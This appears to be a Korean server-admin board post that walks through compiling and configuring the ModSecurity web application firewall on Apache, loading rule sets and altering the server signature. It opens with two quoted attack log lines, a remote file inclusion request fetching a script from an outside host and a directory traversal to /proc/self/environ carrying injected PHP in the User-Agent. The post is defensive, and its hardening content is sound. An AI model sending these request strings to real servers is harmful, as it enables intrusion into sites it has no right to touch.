Skip to content

조회 수 10542 추천 수 0 댓글 0
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄

아래 로그는 id4rom.txt 같은 문서가 있는 주소에 include 시켜서 서버의 정보 같은것을 보거나 공격을 합니다.

"GET /blog/tag//?pag=http://pokolake.land.ru/id4rom.txt?? HTTP/1.1" 200 42371 "-" "libwww-perl/5.806"

PHP Injection 공격방법으로 서버의 디렉토리를 이동하는 공격 패턴입니다.

"GET /blog/archive//calendar.php?s=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 58549 "-" "XXX<? echo \"w0000t\"; ?>XXX"

 

위 같은 로그내용이.. ㅠ _ㅠ 계속해서 기록되길래 ModSecurity 모듈로 방어 해보고자 설치를 했습니다.

 

1. mod_unique_id 컴파일

아파치에 mod_unique_id 모듈이 설치 되어 있어야 합니다.

아파치 소스 디렉토리에 가서 설치를 진행하며 아파치의 apxs 를 이용하여 mod_unique_id.c 를 컴파일 합니다.

(소스 디렉토리 : /root/src/httpd-2.2.11 | apache2 설치디렉토리 : /etc/apache2)

yongbok# cd /root/src/httpd-2.2.11/modules/metadata

yongbok# /etc/apache2/bin/apxs -cia mod_unique_id.c

컴파일이 끝나면 자동으로 모듈이 생성되며 httpd.conf 문서 모듈 라인에 자동으로 붙습니다.

 

2. libxml2 설치

패키지로 설치해도 되긴 한데 리눅스 배포판마다 디렉토리 경로가 다르므로 소스로 설치하여 수동으로 잡았습니다.

yongbok# wget -P /root/src ftp://yongbok.net/Linux/Source/libxml/libxml2-2.7.3.tar.gz

yongbok# cd /root/src && tar xzvf libxml2-2.7.3.tar.gz

yongbok# cd libxml2-2.7.3

yongbok# ./configure --prefix=/usr/local/libxml2

yongbok# make && make install

 

3. ModSecurity 설치

ModSecurity 모듈을 공식 홈페이지에서 다운로드 합니다. http://www.modsecurity.org/download/

yongbok# wget -P /root/src http://www.modsecurity.org/download/modsecurity-apache_2.5.9.tar.gz

yongbok# cd /root/src && tar xzvf modsecurity-apache_2.5.9.tar.gz

yongbok# cd modsecurity-apache_2.5.9/apache2

yongbok# ./configure \
--with-apxs=/etc/apache2/bin/apxs \
--with-httpd-src=/root/src/httpd-2.2.11 \
--with-libxml=/usr/local/libxml2
yongbok# make && make install

 

httpd.conf 에서 모듈을 추가 해줍니다.

yongbok# vi /etc/apache2/conf/httpd.conf

LoadModule security2_module modules/mod_security2.so

 

4. Rule 셋팅

ModSecurity 샘플 룰셋을 이용하거나 국가의 룰셋을 이용하는 방법이 있습니다.(후자 쪽이 쉽더라구염)

1) ModSecurity 샘플 룰셋 적용

yongbok# wget -P /root/src http://www.modsecurity.org/download/modsecurity-core-rules_2.5-1.6.1.tar.gz

yongbok# mkdir /etc/apache2/conf/modsecurity && cd /root/src

yongbok# mv modsecurity-core-rules_2.5-1.6.1.tar.gz /etc/apache2/conf/modsecurity

yongbok# cd /etc/apache2/conf/modsecurity && tar xzvf modsecurity-core-rules_2.5-1.6.1.tar.gz

 

httpd.conf 파일에 아래와 같이 아무곳에나 추가합니다.

yongbok# vi /etc/apache2/conf/httpd.conf

LoadFile /usr/local/libxml2/lib/libxml2.so

Include conf/modsecurity/*.conf

 

이후 적용을 위해 아파치 재시작

yongbok# /etc/apache2/bin/apachectl restart

 

**샘플 룰셋 기본 파일 정보

정상적인 http protocol 위반접속요구(request header)

modsecurity_crs_20_protocol_violations.conf

정상적인 http protocol 위반접속요구(request header)
modsecurity_crs_21_protocol_anomalies.conf
http 정책에 대한 룰

modsecurity_crs_30_http_policy.conf
User-Agent에 대한 룰 : 고급화된 공격차단보다는 스캐너등 차단목적

modsecurity_crs_35_bad_robots.conf

SQL injection / PHP injection / Command access 에 대한 룰
modsecurity_crs_40_generic_attacks.conf
trojan이나 백도어에 대한 접근 룰

modsecurity_crs_45_trojans.conf
에러등 특정 결과값을 통해 정보를 취득하려는 시도 차단
modsecurity_crs_50_outbound.conf

 

2) 국가에서 만든 룰셋 적용

Securenet 에서 지원하는 웹 호스팅용 룰셋을 사용합니다. http://www.securenet.or.kr/main.jsp?menuSeq=501

최신 버전 샘플 룰셋을 다운받아 아파치가 설치된 디렉토리에 업로드 합니다.

httpd.conf 파일에 아래와 같이 아무곳에나 추가해줍니다.
yongbok# vi /etc/apache2/conf/httpd.conf

LoadFile /usr/local/libxml2/lib/libxml2.so

#2009년 3월 11일 날짜 샘플 룰셋

Include conf/modsecurity/modsecurity_2x_hosting_090311.conf

 

이후 적용을 위해 아파치 재시작 

yongbok# /etc/apache2/bin/apachectl restart

 

사용하고 있는 아파치 웹서버의 헤더 정보를 변경 할수도 있는데 샘플에 따라 헤더 정보가 다르니..

공식 샘플 경우는 Apache/2.2.0 (Fedora) 로 설정 되어 있고 국가 샘플의 경우는 Microsoft-IIS/5.0 로 설정이 되어 있습니다. 이 헤더 정보를 변경 하기 위해선 아래와 같이 사용자가 원하는 대로 변경하시면 됩니다.

공식 샘플의 경우 modsecurity_crs_10_config.conf 파일의 113번째 줄을 수정

yongbok# vi modsecurity_crs_10_config.conf

SecServerSignature "Apache/2.2.0 (Fedora)"

변경전 : SecServerSignature "Apache/2.2.0 (Fedora)"
변경후 : SecServerSignature "Microsoft-IIS/9.0"

 

국가 샘플의 경우 modsecurity_2x_hosting_090311.conf 파일의 56번째 줄을 수정

yongbok# vi modsecurity_2x_hosting_090311.conf

SecServerSignature "Microsoft-IIS/5.0"

변경전 : SecServerSignature "Microsoft-IIS/5.0"

변경후 : SecServerSignature "Microsoft-IIS/9.0"

 

귀찮으신 분들은 그냥 Ctrl + F 로 SecServerSignature 만 찾아서 위에 처럼 수정을 하시면 됩니다.


List of Articles
번호 제목 글쓴이 날짜 조회 수
88 CentOS 5.2 32bit 에 2.6.27.4 커널 + iptables 1.4.2 + c... ADMIN 2008.11.10 7824
87 ZONE-H.KR ADMIN 2008.11.11 8546
86 wowhacker.com ADMIN 2008.11.11 8069
85 웹취약점 점검 ADMIN 2008.11.25 9258
84 리눅스 해킹점검 가이드 ADMIN 2008.12.10 18241
83 보안서버로 redirection 설정 하기 ADMIN 2008.12.14 10275
82 fcheck - 리눅스 시스템 무결성 검사 툴 ADMIN 2008.12.14 11030
81 보안서버 구축시 openssl/modssl/apache 버전 호환성 ADMIN 2008.12.14 10904
80 보안서버구축 - SSL(설치 및 키생성) 1 ADMIN 2009.01.04 10467
79 리눅스 아이피 차단 해제 ADMINPLAY 2009.03.11 10542
78 최신 버전으로 구축하는 웹 파이어월, modsecurity file ADMINPLAY 2009.03.17 12856
77 apache 웹방화벽 모듈 modsecurity용 웹설정 툴, Remo file ADMINPLAY 2009.03.17 10037
76 보안서버 SSL 구동시 비밀번호 자동 입력 및 부팅시 자동 ... ADMINPLAY 2009.03.23 9318
75 mod_evasive를 이용한 웹Dos 공격을 막자 ADMINPLAY 2009.05.07 9429
74 국가별로 접속 차단설정(geoip 설치) ADMINPLAY 2009.05.10 10381
73 접속 로그파일 보기(wtmp) ADMINPLAY 2009.05.11 13883
72 해킹툴이 사용하는 포트번호 ADMINPLAY 2009.05.22 9818
71 SQL 인젝션(injection) 프로그램 15종 ADMINPLAY 2009.05.22 12542
70 기본 tcpdump사용법 ADMINPLAY 2009.05.22 11700
69 DOS Attack을 막기 위한 간단한 방법 ADMINPLAY 2009.05.22 9572
Board Pagination Prev 1 2 3 4 5 Next
/ 5

Copyright ADMINPLAY corp. All rights reserved.

abcXYZ, 세종대왕,1234

abcXYZ, 세종대왕,1234